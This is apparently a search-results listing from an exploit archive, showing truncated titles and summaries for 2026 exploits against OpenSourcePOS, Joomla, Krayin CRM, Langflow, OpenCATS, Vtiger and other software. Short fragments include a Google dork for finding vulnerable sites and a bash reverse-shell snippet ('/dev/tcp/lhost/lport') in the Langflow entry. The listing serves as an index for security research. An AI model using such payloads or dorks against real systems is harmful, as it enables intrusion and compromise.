278464 matches found
📄 OpenSourcePOS 3.4.1 Cross Site Request Forgery
OpenSourcePOS version 3.4.1 suffers from a cross site request forgery vulnerability. ================================================================================================================================== | Title : OpenSourcePOS 3.4.1 CSRF Vulnerability Leading to Unauthorized Admin...
Joomla Page Builder CK 3.5.10 - Arbitrary File Upload
Exploit Title: Joomla Page Builder CK 3.5.10 - Arbitrary File Upload Google Dork: inurl:compagebuilderck OR "/components/compagebuilderck/assets/pagebuilderck.js" Date: 2026-07-04 Exploit Author: M@rAz Ali Credits: Peyman Siyahi, MR.PERSIA Vendor Homepage: https://www.joomlack.fr/ Software Link:...
Krayin CRM v2.2.x - Authenticated Remote Code Execution
Exploit Title: Krayin CRM v2.2.x - Authenticated Remote Code Execution Date: 07/05/2026 Exploit Author: Diamorphine Vendor Homepage: https://krayincrm.com Software Link: https://github.com/krayin/laravel-crm Version: 2.2.x Tested on: Debian CVE : CVE-2026-38526 import asyncio import httpx from...
📄 NTLM Relay to Self Attack Module for Active Directory Privilege Escalation
This is a Metasploit module designed for Windows/Active Directory environments that performs an advanced NTLM relay-to-self attack to escalate privileges on a compromised machine...
📄 OpenCATS 0.9.7.4 Time-Based Blind SQL Injection
This Python script targets a remote SQL injection vulnerability in OpenCATS version 0.9.7.4. ================================================================================================================================== | Title : OpenCATS 0.9.7.4 Time-Based Blind SQL Injection Exploit Data...
📄 Pachno 1.0.6 XML Injection / Code Execution / Shell Upload
Authenticated Python exploit tool targeting Pachno version 1.0.6 with claimed XXE, privilege escalation, CSRF payload generation, unrestricted PHP webshell upload, open redirect testing, and a placeholder deserialization / remote code execution chain...
Langflow 1.9.0 - RCE
Exploit Title: Langflow 1.9.0 - RCE Exploit Author: Diamorphine Vendor Homepage: https://www.langflow.org/ Software Link: https://www.langflow.org/desktop Version: & /dev/tcp/lhost/lport 0&1'"\n\nfrom lfx.custom.customcomponent.component import Component\nfrom lfx.io import Output\nfrom...
📄 OpenBMC bmcweb Authentication Bypass
Proof of concept that demonstrates an OpenBMC bmcweb AUTH-F6 mTLS UPN Suffix authentication bypass vulnerability via a parent-domain certificate. ================================================================================================================================== | Title : OpenBMC...
📄 OpenEMR 7.0.2 Authenticated Arbitrary File Read
This Metasploit auxiliary module targets an authenticated arbitrary file read vulnerability in the Fax/SMS module of OpenEMR version 7.0.2 and related builds. ================================================================================================================================== | Title...
📄 Vtiger CRM 8.3.0 Shell Upload
This is a focused authenticated remote code execution proof of concept exploit for Vtiger CRM version 8.3.0. It logs into Vtiger, uploads a .phar PHP webshell through the Documents module, uses /storage/ directory listing to discover the randomized uploaded filename, then executes commands throug...
Exploit for Command Injection in Litellm
─── CVE-2026-42271 ─── 🛡️ AMN SECURITY 🛡️ مركز أ...
Exploit for Deserialization of Untrusted Data in Microsoft
─── CVE-2026-45659 ─── 🏴 AMN SECURITY 🏴 مركز أب...
Exploit for Out-of-bounds Read in Citrix Netscaler_Application_Delivery_Controller
─── CVE-2026-8451 ─── 🏴 AMN SECURITY 🏴 مركز أبح...
Exploit for Path Traversal in Adobe Coldfusion
CVE-2026-48282 — Adobe ColdFusion RDS Validation and Detection...
Exploit for CVE-2026-20896
CVE-2026-20896 Gitea Docker Auth Bypass Checker Authorized re...
Exploit for CVE-2026-12277
CVE-2026-12277 Frontend File Manager Plugin WordPress...
Exploit for Cross-site Scripting in Warfareplugins Social_Warfare
!GeminiGeneratedImagea1skbua1skbua1skpictures\GeminiGener...
Exploit for Cross-site Scripting in Warfareplugins Social_Warfare
...